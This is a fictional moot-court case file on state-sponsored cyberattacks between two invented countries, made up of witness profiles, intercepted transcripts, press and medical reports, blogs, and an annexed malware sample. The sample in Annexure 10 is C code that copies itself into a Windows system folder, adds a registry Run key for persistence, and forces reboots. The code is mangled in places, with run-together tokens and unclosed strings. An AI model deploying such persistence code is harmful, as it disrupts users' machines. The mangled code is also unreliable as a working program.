Witness had lost his only child to the January 07, 2013 confrontation. The Witness intends to
bring to justice responsible members of the rebel group who he claims were responsible for
instigating arson and mass violence in the reported confrontation with the police authorities. He
claims to have witnessed the investigation carried by officers in the PCP-01 premises. He had, on
an earlier occasion, narrated to the local media, accounts of the government crackdown on
Revolution-17/5, specifically in terms of the harsh interrogation techniques adopted by the
investigation agencies to compel members of the rebel group to divulge information pertaining
to those responsible for the attacks. The Witness seconds media reports which suggested that
“prisons such as the PCP-01 were modern day ‘concentration camps’ where the rebel group
members knew they would be subjected to extremely harsh interrogation techniques.”

Defence Brief: Through the testimony of DW4, inter alia, the following points shall be aimed to
be established before the Court:

 That the statements recorded by the investigation agencies and presented under the
relevant annexure have been obtained using means that were excessively coercive and
torturous and hence, should not be relied upon.

 That irrespective of the modus operandi used by the investigators, reliance on evidence or
information extracted out of suspects in prisons such as PCP-01 would be in violation of
settled principles of international criminal law.

 That Revolution-17/5 has been active against the government as a militia for the last ten
years. Through the propaganda spread by the group to seek sympathizers for various
necessities such as fund raising and arms trafficking, the group has portrayed itself as an
independent, non-political school of liberals devoted to establishing a regime aimed at
better life and growth opportunities for Peraltian people and freedom from a
conservative establishment.

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DW – 5 (Profile of Defence Witness – 5)

Name: Mr. Harry Clarance


Nationality: Vanderguardian
Vocation / Occupation: Vanderguardian Civil Servant/former spokesperson to the President
Age: 36 years

General Description: Defence Witness 5 intends to testify as to the character of the accused.
The Witness, inter alia, asserts that despite being a thorough capitalist, the accused has never
advocated violence of any sorts. Having held the post of primary spokesperson for the
Presidency for a period of 14 years, the Witness exhibits command over the government policy
regarding the use of cyber technology against other States. This must be distinguished from the
act of policy formulation as well as policy execution which constitute subjects over which the
Witness has no authority or relevance. The Witness asserts that just like most modern
democracies, matters pertaining and incidental to national security were left into the hands of the
Defence Ministry. The President’s role, according to the witness, was limited to examining the
proposals made by the Ministry against the touchstone of essential political values of
Vanderguard. These political values would be limited to balancing the conflicting interests of
Vanderguard under its international obligations versus its domestic political ambitions. The
Witness further clarifies that the working and functioning of the Defence Ministry as well as its
budget were not even discussed in the legislative assembly. These measures were adopted to
make the functioning of the Ministry autonomous and free from external influence. He further
clarifies that the socio-political setup of Vanderguard is such that the press enjoys a lot of
freedom and exerts tremendous amount of public influence. Due to the consequential media
scrutiny, no politician in Vanderguard would ever dare to join hands with a group of uncivilized,
rogue militia, such as Revolution-17/5. It would be considered a political suicide as the public
perception is strictly against any opposition to the established regime.

Defence Brief: Through the testimony of DW5, inter alia, the following points shall be aimed to
be established before the Court:

 That assuming Revolution-17/5 is responsible for the multiple attacks faced by Peralta,
the responsibility for the acts committed the group cannot be traced to the accused.

 That the distribution of power in Vanderguard left the Presidency bereft of any influence
over its weaponry both kinetic as well as non-kinetic.

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VICTIM WITNESS PROFILES

Victim Witness – 1 (Confidential)

VW1 Name: [Redacted]


Nationality: [Redacted]
Occupation: Member, Peraltian Truth Commission
Age: 65

General Description: The Witness claims to represent those segments of the citizenry of
Peralta whose lives have been adversely impacted due to the string of events starting from
December, 2012-February, 2013.

The witness narrates the total loss of property suffered by the said attacks which has been
calculated to be $ 50 million. Out of the said loss, more than 50% of the loss was faced in a
single attack of January 02, 2013. Other heads such as public utilities and infrastructure have also
been severely damaged. In terms of loss of life, 3700 individuals have lost their lives in
connection to the attacks. As a rebound from the DDoS attacks, the government had to spend
an additional $ 500,000 dollars to purchase extra servers and bandwidth. The biggest loss has
been in terms of public opinion and trust of the people on the elected government. This issue,
explains the Witness, poses a direct threat to national security. In times of turmoil, such as those
created by these attacks, the citizens are at their most vulnerable self. In such a situation, the
obvious recourse is aid from the State authorities which act as parens patriae and brings order to
chaos. However, due to seeds of distrust and discontentment sown among the people against
their own government by use of propaganda such as that employed from January 20, 2013
coupled with the general ignorance among individuals pertaining to cyber warfare, a vulnerable
and helpless citizen can become agent of mass disruption and violation of public order. And
recovery from such an institutional failure of democracy, despite all earnest efforts, can be
exceedingly challenging. Such is the risk posed by attacks based on information technology. And
this risk is further aggravated by absence of any consensus from the international community
pertaining to possible recourse against such actions. The ICC, being an integral part of the
international community, also shares the same burden.

The Witness further clarifies that none of the detainees under investigation were ever killed. The
policy followed by the Truth Commission was to create enough fear and apprehension in the
mind of the detained members of Revolution-17/5 only to facilitate cooperation in the ongoing

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investigation. The Witness intends to justify the same based on the doctrine of necessity since
the concerned rebel group was extremely reclusive and clandestine in its operations. The extent
of covertness in the operations of the group is well established by the fact that the entire regime
operated with minimum written orders. Thus, most orders were made and executed orally. Lack
of documentation was one of the biggest hurdles faced by the investigators while investigating
the chain of command. Further, the closed door policy of the group advocated minimum contact
with the outside world. This policy was adopted to prevent corrosion of nationalist sentiments
with influence from external politics. The witness explains the modus operandi used in all
interrogations carried out in pursuance of the said attacks. The suspects/detainees were kept in
separate cells and had no means to communicate with each other. The detainees were first asked
necessary questions such as those relating to the chain of command with respect to the
operations carried out against Peralta. Only upon zero cooperation were harsher means adopted
to extract information out of the concerned suspects. However, the mere fear of what was about
to happen to them would be enough to break the resistance within most detainees who would
give all necessary information at the initial stage of questioning itself. The annexures submitted
before the ICC are examples of such confessions. Of course, the investigation and the
accompanying evidence, although holistic in itself to obtain a finding of guilt, would have been
more concrete had the State of Vandeguard permitted the Commission or the Office of ICC
Prosecutor to investigate within WarLock premises. However, despite this hurdle created by the
State of Vanderguard, the Witness claims to have unearthed concrete evidence to link the acts
committed by Revolution-17/5 to Vanderguardian soil. During the course of their investigation,
the Commission traced the movement of specific members of the rebel group in and out of the
country. In particular, records of their journey to Vanderguard and back were collected from the
airports. Through these records, the Commission was able to establish a pattern of flight
followed by the specific members of the rebel group. Apart from the pattern, the Commission
was also able to link the contents of the baggage checked at the airport on the arrival of the said
members with the machinery confiscated through raids at the known centres from where the
rebel group operated.

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Victim Witness – 2

VW2 Name: William Shatner


Nationality: Peraltian
Occupation: Member, Peraltian Truth Commission
Age: 43

General Description: The Witness is a member of the Truth Commission. He was a member of
the team responsible for the management of electronic evidence collected during the course of
investigation pertaining to the various cyber arracks. The Witness has been brought to render
testimony regarding the method of obtaining the transcript annexed as evidence before the
Court. According to the Witness, the transcripts were originally prepared by agents of the
external intelligence agency of Peralta. These agents used drones to hover over the airspace of
Vanderguard to be able to record the conversation between the people concerned. These
recordings were first made on audiotapes and were then handwritten in notebooks in order to be
maintained for posterity. These handwritten notes were then typed onto a computer and shared
with the Truth Commission in an appropriate format. The entire procedure was done with
utmost care owing to the sensitivity of the information collected. The entire process followed
standard procedure adopted by intelligence agencies all over the world and was executed
uniformly. Once the Truth Commission came in possession of these transcripts, full care was
taken to ensure that these transcripts remain tamper-free. The best of government machinery
and able personals were employed to protect and preserve the transcripts. When called upon,
this data was shared with the ICC Prosecutor.

According to the Witness, there were around 23 radio intercepts collected by the Peraltian agents
originally. These intercepts provided a series of clues with respect to the ongoing investigation.
The Witness describes how in the event of failure of any of the planned attacks, the Accused, as
per the data from the intercepts, planned on using the rebels to upset the same locations using
crude forms of domestically manufactures explosives. The Witness also adds an interesting facet
which came to be known through some of these intercepts- that the accused enjoyed control
over WarLock through a commercial link as well as one of his many companies, Spelter Pvt.
Ltd., of which he holds 59% equity, and happened to be one of the heaviest investor in the
WarLock Project and was accordingly given 15.7% voting rights in all administrative/policy
decisions. This right proved to be extremely profitable for his company especially in matters
which required, as a matter of law, minimum 85% unanimity from all private commercial
investors.

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ANNEXURE – 1(A): CONFESSION RECORD 035

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ANNEXURE – 1(B): CONFESSION RECORD 042

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ANNEXURE – 2: PRESS RELEASE

Press Information Bureau


Government of Vanderguard
Press Release

Date: 02/03/2012

Subject: Clarifications pertaining to apprehensions and doubts raised by certain fractions of hostile neighbours
surrounding the establishment of WarLock and the policy of Vanderguard with respect to the development and use
of information technology.

In the wake of certain irresponsible media reporting, the undersigned, under the hand of His
Excellency Mr. President, hereby summarizes the exact policy of the Government pertaining to
cyber warfare and information technology as well as the constitutive nature of WarLock.

Part I

The State of Vanderguard, mindful of its responsibilities towards the international community
and aware of its role towards the maintenance and development of a peaceful, secure and
progressive world order, reinforces its commitments towards the virtues enshrined in the great
Charter of the United Nations as well as the principles enshrined in various other treaties that
Vanderguard has undertaken to uphold.

The State of Vanderguard, professes and practises active restrain in dealing with hostile
situations. Thus, having stated this, it becomes pertinent to clarify that while the State shall
refrain from engaging in any act of war/aggression in the first instance, the State reserves the
right to retaliate with full force under its command in the second instance.

[...]

The State of Vanderguard, having been a dialogue partner with the Shanghai Cooperation
Organization, further extends full support to the intended regime of ensuring international
information security as one of the key elements of the common system of international security.
In pursuance of the same, the State adopts the following understanding of a cyber confrontation

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[...] as threats posed by possible use of new information and communication technologies and
means for the purposes incompatible with ensuring international security stability and
development in both civil and military spheres.

The commitment to use hostile means in response to measures falling foul of the
aforementioned principle shall extend, in equal measures, to protection of Vanderguardian
territory and citizens as well as the territory and citizens of political neighbours. The extended jus
ad bellum principle is based on the premise that national security, which is the sole prerogative of
and a fundamental principle for the survival of any sovereign State can no longer be secured in
isolation. National security, for all practical purposes is co-dependent on a secure, stable and
equally progressive neighbourhood in the geo-political context.

Thus, Vanderguard strategizes its influence and State machinery in adhering to the principle of
self defence. The same can include defending information and computer networks, deterring
information attacks, as well as denying an adversary's ability to do the same. Further, based on
the principle of pre-emptive defence, it can include offensive information operations mounted
against an adversary, or even dominating information on the battlefield in the context of an
armed conflict of any nature.

Part II

At the first instance, WarLock must be construed as a formidable manifestation of the


aforementioned policy. However, to uphold the spirit of a true democracy, the same has been
based on a public-private partnership model. This partnership has been allowed to penetrate well
beyond the conventional role held by the private financiers. The project implements the decision
of the executive order which allows private entities, subject to limitations specified, to exercise
effective control over operations of WarLock by affording nominated representatives from such
entities, voting rights in meetings conducted by the WarLock administration. However, these
voting rights do not in any way impact the authority of the Vanderguardian Government over
the administration of WarLock.

[...]

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ANNEXURE – 3: TRANSCRIPT

This annexure contains the transcript of a radio communication between 2 employees of


WarLock. The radio communication was intercepted by the external intelligence agency of
Peralta. Subsequently, the intercepts were handed over to members of the Truth Commission
who in turn, on September 02, 2016, passed it over to the Office of ICC Prosecutor to be used
as possible evidence.

Transcript 01
Date: 21/12/2012
7:46 TO 7:53 P.M.
Employee 1 Hey, I want you to listen very carefully. I hope
that nobody from the team of testers ever get so
much as a hint of the additional server we use to
access for the programs compiled? The President has
his mind clear! He wants all and any strings which
may connect him to the Peraltian situation to be
taken care of.

Employee 2 It will be taken care of! I assure you of the same.

Employee 1 Alright, be alert. No reporter should be allowed


inside the premises. The boss is planning something
major over the next couple of days. Something that
will apparently blow up their coffers. Our next set
of instructions will be arriving soon.

Employee 2 [Incandescent laughter] Yes understood. Sounds


quite challenging. Anything else?

Employee 1 No that will be all for today.

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ANNEXURE – 4: MEDICAL REPORT

October 21, 2015

The following Medical Report is prepared by a private medical practitioner appointed for
conducting regular medical checkups in the prisons maintained by the Special Anti-terrorism
Task Force. This Report describes the conditions of the individuals detained in various prisons
under the said Task Force. The Report was procured by the ICC Prosecutor during the course of
its investigation.

...

Main Medical Problems Suffered by Prison Inmates:

Pleurisy Photokeratitis Influenza Hypoxia


Demographic
Characterstics
PCP 01 PCP 02 PCP 01 PCP 02 PCP 01 PCP 02 PCP 01 PCP 02

Sex

Male 49.6% 46.8% 63.9% 68.1% 79.2% 85.4% 50.2% 54.3%

Female 62.9% 66.7% 53.8% 71.6% 28.9% 53.6% 40.9% 48.3%

Age

18-24 78.9% 83.7% 55.5% 57.8% 44.7% 36.5% 69.1% 62.4%

25-34 42.3% 46.0% 77.9% 64.9% 32.9% 48.8% 24.8% 29.4%

35-49 57.5% 35.4% 63.9% 79.2% 70.4% 74.7% 38.5% 40.3%

50 and older 22.8% 21.8% 48.2% 69.3% 68.2% 90.9% 41.6% 47.9%

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...

Other Medical Problems suffered by Prison Inmates:

Anemia (PCP 01- 17%; PCP-02 – 28%); Hypertension (PCP 01- 75%; PCP-02 – 88%); Asthma
(PCP 01- 59%; PCP-02 – 63%); Heart Problems (PCP 01- 19.5%; PCP-02 – 23.8%)

Most of the Prison detainees also complained of muscle aches and abdominal cramps.

The mental health of the detainees is also questionable as most of the detainees suffer from
anxiety attacks, impaired cognitive functioning and psychosis.

...

Dr. Thomas Burke

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ANNEXURE – 5: MEDIA REPORTS

This annexure contains a series of media reports describing the condition of detainees in the
prisons maintained by the Special Anti-terrorism Task Force. The reports were published across
various newspapers in Peralta. The evidence has been admitted by the Trial Chamber.

Torture Unveiled in Special Anti-terrorism Task Force Prisons

- Peralta Times, October 25, 2015

The Special Anti-Terrorism Task Force created by Government of Peralta has

reached a new low in treating the detainees. The members of Revolution – 17/5 who

are detained in these prisons are interrogated for hours without food. . .

‘We are beaten and our wounds are left unattended. In a four by four meters cell

which house around thirty inmates and a number of insects, sunlight is scarce.’ said
one of the detainees who were recently released.

Is water boarding a justified measure to be used against Revolution – 17/5

- The Times of Peralta, November 17, 2015

According to the sources, the Task Force has resolved to measures like water-boarding
to interrogate the detainees. The prisoner is bound to a board with feet raised, face
covered with a cloth, water poured over him to simulate the drowning experience…

‘The prisoners have started cracking and confessing their sinful deeds against their own
motherland’, remarked the Media spokesperson of the Task Force. He went on saying
that concrete evidence has been discovered to suggest that Warlock is responsible for
the recent attacks on Peralta.

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No sleep or food for the harbingers of Peralta’s doom

- The Peralta Express, January 02, 2016

The members of Revolution – 17/5 that are detained by Task Force are finally receiving
the fruits of their ill deeds. They’ll now learn the importance of nature’s goods as they are
been deprived of them, commented a prison guard.

Rumor has it that they are not even allowed to sleep and are beaten mercilessly if they
refuse to follow the rules of prison. For the no. of deaths that Revolution - 17/5 have
caused, mere lack of sleep or food won’t suffice.

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ANNEXURE – 6: BLOG BY JOHN DASH

This annexure contains the blog written by John Dash after the attacks on December 15, 2012.
The author is a leading technocrat and a recipient of multiple prestigious awards in the field of
ethical hacking. He also provides consultancy services to Governments across the world.

Techonomics

“A Planned trojan disruption”

John Dash

Yesterday, the honest Peraltian citizen faced the test of time. At [Time:
0600 hours] the small island of Peralta experienced the first wave of what I call a
planned trojan disruption. The attacks were aimed at the essential electronic
infrastructure of the Republic of Peralta. All major public information
dispensation systems were targeted. This was the first time that a semantic attack
threatened the public peace and order of an entire nation.

If one looks carefully, the architecture of attacks was very sophisticated.


A semantic attack causes a computer system to produce errors and unpredictable
results. These attacks are also known as “Malware Attack” or “Malicious
Software Attack”. The sophistication of these attacks lies in the 2 limbs which
constitute the same. While the obvious limb is use of softwares, the unknown
aspect of these attacks, as per my study, is the deployment of ground forces to
physically do the disruption that cannot be done online. While it is too soon to
comment on this second aspect, it will do the authorities good to include this
angle in the ongoing investigation. So far as functioning is concerned, these
attacks usually modify information or disseminate incorrect information. Now
the Peraltian health monitor system dedicated to receiving all health-related
complaints information from the entire country uses the instant messaging
feature which allows file-sharing on a computer. Yesterday, expert hackers used
this instant communication capability to plant a Trojan into the health monitoring

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program. This planted program was remotely controlled and concealed. The
hackers, using this program, became competent to read, delete, move and execute
any file on the computer system. This is how the hackers tracked and accessed
the health monitor system and dispatched incorrect information to the relief
teams causing disruption. Looking at the magnitude of delicacy and expertise
required to orchestrate such an attack, it is conclusive that such an attack was
carefully planned and required high-tech logistics both onsite as well as online.

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ANNEXURE – 7: TRANSCRIPTS

This annexure contains a series of radio communication transcripts intercepted by the external
intelligence agency of Peralta. Subsequently, the intercepts were handed over to members of the
Truth Commission who in turn, on September 02, 2016, passed it over to the Office of ICC
Prosecutor to be used as possible evidence.

A-7.1
TRANSCRIPT OF A RECORDING OF A TELEPHONE
CONVERSATION BETWEEN THE CHIEF OF STAFF OF THE PRESIDENT (CoS)
AND
REBEL LEADER POPPOYE ON [9/01/2013] FROM
7:46 TO 7:53 P.M.
POPPOYE: Well Good Day to you! How’s Mr. President? I hope we’re
still in terms with the arrangement made previously.

CoS: Aaaah…..I like you Rebels always getting down to business.


Well Mr. Poppoye, the President sends his regards, you
need not worry about anything from our end… However I’m a
little disappointed with your boys out there…

POPPOYE: Mr. Barbosa…. Do you say that you doubt our ability to
fight for the greater good of Peralta? Well Sir …. I
assure you my boys are ready to show this establishment
how deep our commitment to our cause is.

CoS (laughing…..) No, I’m not but your boys have been rather
silent for the past few months …..Where’s your fury gone?

POPPOYE: Oh Not at all, we’ve been silent as the Peraltian public


themselves have risen against the government.

CoS: Well now is the time for you to mount up the aggression…..
Don’t forget that for your country’s future you have to
show your collective strength to that government which is
bent on destroying the future of Peralta.

POPPOYE: I see what you say Mr. Barbosa……. But we can’t go one
without any support….I’m sure you understand.

CoS: I’m trying all that I can to help your boys out there.
Don’t worry… Just keep in mind what I told you today. Let
the public become you …. Make them a part of your
struggle. Only then will that government of yours
understand your will and cause…. Long Hail Revolution.

POPPOYE: I will Mr. Barbosa …Long Hail the Revolution.

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A-7.2
TRANSCRIPT OF A RECORDING OF A RADIO TRANSMITTED
CONVERSATION BETWEEN THE REBEL LEADER POPPOYE
AND HIS LIEUTENANTS ON [06/01/2013] FROM
8:13 A.M. TO 8:23 A.M.
POPPOYE: Attention All Group leaders… This is the Supreme
leader….(chattering) Attention All Group leaders …This is
the Supreme leader. Over.

RED This is the Red Leader Come In…


LEADER:

BLUE This is the Blue Leader Come In…


LEADER:

POPPOYE: Activate all Cells …… Arm up our boys. The fruit is ripe.
Now is the time for Action. Over

BLUE Copy that. What do you have in mind sir? Over


LEADER:

RED Copy That. Over


LEADER:

POPPOYE: The external forces have advised us to act now. I want you
to form platoon of troops… mark them as civilians and
plant them in between the protest crowds…..armed….Note
Plant them armed. Over

RED Copy that… But Supreme Leader… the people will be in


LEADER: harm’s way. Over

BLUE Copy that Sir.


LEADER:

POPPOYE: Most certainly not….. It is for their future that we are


fighting….it is all the more reason to involve them… Now I
want you to direct all the platoons to use the protest
crowd and mount up our aggression…. If it leads to
violence so be it….Use Force at will… Note… Use Force at
will…. Over and out

BLUE Copy that Supreme Leader…. Over and out


LEADER:

RED Copy that Supreme Leader…. Over and out


LEADER:

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A-7.3
TRANSCRIPT OF A RECORDING OF A TELEPHONE
CONVERSATION BETWEEN INTELLIGENCE CHIEF (CHIEF) AND
COMMANDING OFFICER OF WARLOCK (CO) ON [11/01/2013] FROM
4:56 P.M. TO 5:15 P.M.
CO: Commander Skywalker reporting sir!

CHIEF: Good Day Commander….I hope all is going well down there in
the bullpen

CO: Sir … Yes Sir… Everything is smooth down here…. WarLock is


online and functioning.

CHIEF: I want to make sure you’re ready for Operation Sailorman

CO: Yes sir… the secret task force is in control of the


operations and at 0600 hrs we will commence the attack.

CHIEF: Good Going Commander. I want you to make sure ….. the
strikes happen at the exact marked locations….. Now before
that do you have anything in mind Commander that you might
want to ask?

CO: Nothing sir…Er(Hesitation)…. Nothing at all..

CHIEF: Speak your mind Commander.

CO: Sir…. The boys here have been talking ….. if such a
massive scale attack….. I mean the targets here ….. the
electrical grid…… the hospitals……. It will be devastating…

CHIEF: Commander Let me remind you…. these are direct orders from
the top…. This is not about just those people, this is
about the future of our great nation. Now follow your
orders.. We don’t want such distractions Commander!

CO: Yes Sir. I apologize Sir.

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ANNEXURE – 8: NEWSPAPER REPORT IN THE ECONOMIST

This annexure contains a report published in a leading newspaper, ‘The Economist’. The report
highlights the perspective taken by the rebels as opposed to the stand taken by the Republic of
Peralta.

THE ECONOMIST

Pg 20 Briefing: The
Peraltian Leakages

A Viral Fiasco: January 28, 2013

“I am the free and fearless. I am the voice of those who will not
bow. . .” remarked Jim Popoyee, leader of Revolution 17/5, the
banned rebel group of Peralta, during his interaction with the
media. He claims that the elected Peraltian government plans to
crush all measures of development and modernisation in Peralta
by disrupting Revolution 17/5 and imprisoning its prominent
leaders.

The most prominent incident behind his claim was the leakage
of certain official e-mails from the offices of the Ministry of
Defence. Mr. Popoyee also argued that the very fact that these e-
mails could be leaked in public so easily showed the outdated
encryption techniques employed by the Peraltian government
and was an evidence of desperate modernisation which the
Peraltian government opposes aggressively.

However, as per the official statement given on Monday, the


Defence Secretary vociferously opposed such claims. The

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Defence Secretary claimed that Peralta has a highly developed


defence system with several layers of encryption which can be
breached with equivalent level of technology only. The Secretary
also hinted that such level of technology could only be obtained
by the likes of Popoyee from the defence initiative- WarLock,
established in Vanderguard.

It is worth mentioning that the Peraltian Government has often


charged Popoyee of being hands in gloves with Vanderguard.
Besides the official statement, some officials from the Ministry,
on condition of absolute anonymity, have hinted at the
possibility that these emails were infact assessed physically
from the computers in server room at the Ministry by
individuals working for Vanderguard.

For a nation that is facing a series of cyber attacks on its law


and order machinery, prominent among which are the outbreak
of Public Information Dispensation System and hijack of Wilson
Depository, this is yet another blow, in which the crucial
defence secrets of the nation were leaked. Data Security Experts
have, upon scrutiny, commented that the Ministry has been
using outdated encryption technologies over a Non-SSL based
email server which was vulnerable to various kinds of threats
and attacks.

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ANNEXURE – 9: INTERVIEW BY TRUTH COMMISSION

The annexure contains an interview conducted by an official of Peraltian Truth Commission.


The interviewee, fearing for his life, has refused to appear before the Court as a witness. The
interview was handed over to the Office of ICC Prosecutor, on September 02, 2016, to be used
as possible evidence.

Date – March 27, 2013

INTERVIEW OF “TECHNICAL EXPERT FOR EMERGENCY


SERVICES FOR AIR CONTROL” BY PERALTIAN TRUTH
COMMISSION

Interview Starts -

Interviewer- What is the mechanism employed to


tackle disturbances in Air traffic?

Interviewee- We basically send message from ground


control to the aircraft pilots to deviate their
routes accordingly.

Interviewer-How does the radar system work in Air


Traffic?

Interviewee- It shows the coded details of each


aircraft on the display screen at ground control and
through those interceptions we navigate them.

Interviewer-What are the important technical devices


to control Air Traffic?

Interviewee- Every aircraft consists of a special


radar system known as the “TCAS System” for the
purpose of avoidance of collision. The “Transponder”

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forms an integral part of this system. The two


antennas of a transponder are located at the bottom
or top of an aircraft. The transponder is a device
that receives a radio-frequency interrogation at
1.03GHz and responds at 1.09GHz to the interrogation
for the purpose of navigation. It provides with a
coded signal on our computer screen on the ground to
control the air traffic. The transponder provides
our computer with velocity of the aircraft, altitude
of the aircraft and direction in which the aircraft
is heading to. Secondly, the SSR (Secondary
Surveillance Radar) passively works and often
responds to the pressure altitude and 4 digit
identifier.

Interviewer-What was the reason of the collision


that occurred on February 05, 2013 between LAN-007
and LAN- 11? And what actually happened that day?

Interviewee-There are two main reasons due to which


the collision occurred.

Firstly, it is necessary for us that radio signals


are working properly and that there is no
discrepancy or disturbances in the communication
between the pilot/ co-pilot and the Ground Support
Authorities. That day, I remember, we were in proper
communication with the pilots of all the incoming
aircrafts when suddenly a “technical error” occurred
but somehow we managed by providing coded messages
to the pilots and prevented the collision at the
first instance. The “technical error” was reported
and we started the investigation.

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In the meanwhile we discovered that our computer


screens stopped receiving the coded messages given
by pilots/ co-pilots. And false responses were send
automatically to the pilots/ co-pilots of both the
aircrafts i.e. LAN-007and LAN- 11. Our computer
screens were showing that both the aircrafts were at
a distance of 10 miles and are flying on different
altitude and having a gap of 1200 feet between them.
Assuming an internal malfunction, we restarted the
systems. This is where all hell broke loose! Most
systems started rebooting themselves endlessly. This
reduced our capabilities to a great extent.

Secondly, after the investigation i.e. decoding of


the “Black Box” it was discovered that the “TCAS
system” of both the aircraft have given them wrong
altitude to surpass and avoid the collision. It was
discovered that both the aircraft were on the same
altitude of 15000 feet above the sea level.
Therefore the collision occurred. And then we
discovered that our air traffic system was hijacked.
It was hijacked in a manner which prevented us from
communicating and locating the actual position of
the aircrafts. Further our computer screens were
infected by programmes which forced the system to
reboot itself.

Interviewer – How many passengers were travelling in


both the aircrafts?

Interviewee – According to our database, roughly 130


civilians were travelling in LAN- 007 and 170
civilians were travelling in LAN- 11.

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ANNEXURE – 10: CODE

Annexure pertains to a code recovered from the Hard Disk of one of the members of
Revolution-17/5 by the investigation agencies of Peralta.

DISCLAIMER:

All participants are strictly forbidden from executing/running or attempting to execute/run the
below given programme on their computers, due to the inherent risks involved in such
execution. In case of necessity, the participants are advised to open/copy the code given in
applications such as Notepad only. Symbiosis Law School, Pune or Symbiosis International
University or any or its concerns shall not be responsible for any damage/loss sustained out
of such execution.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

intfound,drive_no;
char buff[128];

voidfindroot()
{
int done;
structffblkffblk;//File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)

{
done=findfirst("C:\\windows\\system\\reboot.exe",&ffblk,0);
if(done==0)

{
found=1;
return;
}

drive_no=1;
return;
}

done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)

{
done=findfirst("D:\\windows\\system\\reboot.exe",&ffblk,0);
if(done==0)

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found=1;
return;
}
drive_no=2;
return;
}

done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)

{
done=findfirst("E:\\windows\\system\\reboot.exe",&ffblk,0);
if(done==0)

{
found=1;
return;
}

drive_no=3;
return;
}

done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)

{
done=findfirst("F:\\windows\\system\\reboot.exe",&ffblk,0);
if(done==0)

{
found=1;
return;
}

drive_no=4;
return;
}

else
exit(0);

}
void main()

{
FILE *self,*target;
findroot();
if(found==0)

{
self=fopen(_argv[0],"rb");
switch(drive_no)

{
case 1:
target=fopen("C:\\windows\\system\\reboot.exe","wb");
system("REG ADD
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v
sres \/t REG_SZ \/d C:\\windows\\system\\reboot.exe

break;

case 2:
target=fopen("D:\\windows\\system\\reboot.exe","wb");
system("REG ADD
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v
sres \/t REG_SZ \/d D:\\windows\\system\\reboot.exe");

break;

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case 3:
target=fopen("E:\\windows\\system\\reboot.exe","wb");
system("REG ADD
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v
sres \/t REG_SZ \/d E:\\windows\\system\\reboot.exe");

break;

case 4:
target=fopen("F:\\windows\\system\\reboot.exe","wb");
system("REG ADD
HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v
sres \/t REG_SZ \/d F:\\windows\\system\\reboot.exe");

break;

default:

exit(0);

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();

else

system("shutdown -r -t 0
}

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ANNEXURE – 11: BLOG BY RILEY MERCER

The following is a blog post written by one Riley Mercer. The author of the blog has been a
director in Spelter Pvt. Ltd. The author has been stripped of Vanderguardian citizenship and is
currently residing in the Peraltian Embassy within Vanderguard as a political refugee.
Vanderguard has forbidden Mercer from leaving the premises of the Embassy, thus, in effect
ensuring that he does not appear before the International Criminal Court as a witness. All
attempts to secure a virtual testimony from him have also failed to materialize.

Dear Readers

Today when I write this blog, I feel depressed and broken. In the past when I
have written blogs, I have always advocated the use of cyber techniques, for my
life for past 23 years has revolved around cyber world only. I have countered the
arguments of those who protested the use of cyber techniques. I have always
argued that development of information capabilities must be integrated with the
overall development of a nation and our future can only be strengthened if all of
us embrace the cyber world.

However, today I feel ashamed of my knowledge, profession and beliefs. Never


ever I imagined that cyber techniques could be utilized in such a manner that can
lead to destruction and loss of so many lives. My knowledge and hard work have
been used in such a deplorable manner which I can’t even describe in words.

Today, looking at the atrocities committed against the citizens of Peralta, I refuse
to stay silent. I cannot bear to see the suffering of the nation which provided me
with shelter & food when I was boycotted by the very people I served for my
whole life. I want to address the citizens of Peralta, through the medium of this
blog, and want to share with them the unknown side of the tragedies they have
been unknowingly blaming their administration for.

At the outset, I must clarify that the Peraltian administration must not be blamed
for the state of affairs in the country. Because the truth is that, it is my
knowledge, my hard work, my expertise & my technical qualifications that are
being manipulated by those sitting in Vanderguard with vested interest against
Peralta.

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This all started with the beginning of election campaign in the land of
Vanderguard where Mr. Sparrow was a prospective candidate for being the
President of the country. He promised the citizens that he will create a robust
defense mechanism, backed by private forces, for achieving greater efficiency. In
2008, Mr. Sparrow was appointed as the President of the Vanderguard. At the
same time, I was also appointed as the Director of the Spelter Pvt. Ltd. for my
expertise in the field of cyber technology. During one of such meetings, Mr.
Sparrow shared with me his idea of developing a defence shield for Vanderguard
which would be invincible. He was specifically interested in protecting
Vanderguard from cyber attacks. For the same he asked me to prepare a team
dedicated to preparing such cyber capabilities that could defend Vanderguard
from any and every form of cyber attacks. Further he also directed me to develop
programmes and supporting hardwares which can infiltrate any shared network
and also corrupt the metadata therein.

During the course of my directorship of Spelter, I would receive memos,


prepared under the official seal of the Vanderguardian Presidency, on a periodic
basis. These memos would contain directions concerning an extensive training
programme to be conducted for specific foreign individuals. Most of the onsite
aspects of this training were to be organized on Island ‘X’ a disputed territory
between Vanderguard and its political neighbors.

During the course of this training, I discovered that these specific foreigners were
recruited from Peralta. We were supposed to train them in handling specific
hardwares procured from manufacturing units of our company.

The recruits were given two levels of training (i) Start-up (ii) Brain storming
(Advance Level). In the start-up we taught them about Sniffing, Foot printing
and Reconnaissance, System Hacking, Denial of Service (SYN Flooding, ICMP
Flood Attack, Permanent Denial-of-Service Attack), SOL injections, Hacking
Wireless Network etc. After completion of the basic training, the next set of
instructions, as given in another set of memos, directed us to divide all the
Peraltians into three technical teams- (i) Technical Support (ii) Carriers and (iii)
Ground Support

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In the Advance level they were taught basics of implementing and preventing
“denial of service” known as Script Kiddie, Black Hat (a technique to steal the
money & secret information from computer systems) and Gray Hat (a technique
to hamper a websites in a manner which prevent anyone to use it). Softwares
such as Kali Linux and related hardware knowhow was also provided to the
trainees.

Future directions, conveyed through the same method, were concerned with
development of prototype codes which could be used to give a demonstration to
the trainees. These demonstrations were expected to be conducted using state of
art facilities. These facilities were to be of the same quality as employed in
Government departments, however, funding for these specific demonstrations
was to be passed to the Spelter budget. The trainees were to be employed and
given specific roles they would play in such demonstrations which were described
as, “the closest real life simulations possible […] of corroborated attacks against
ill conceived ambitions and manifest misadministration.”

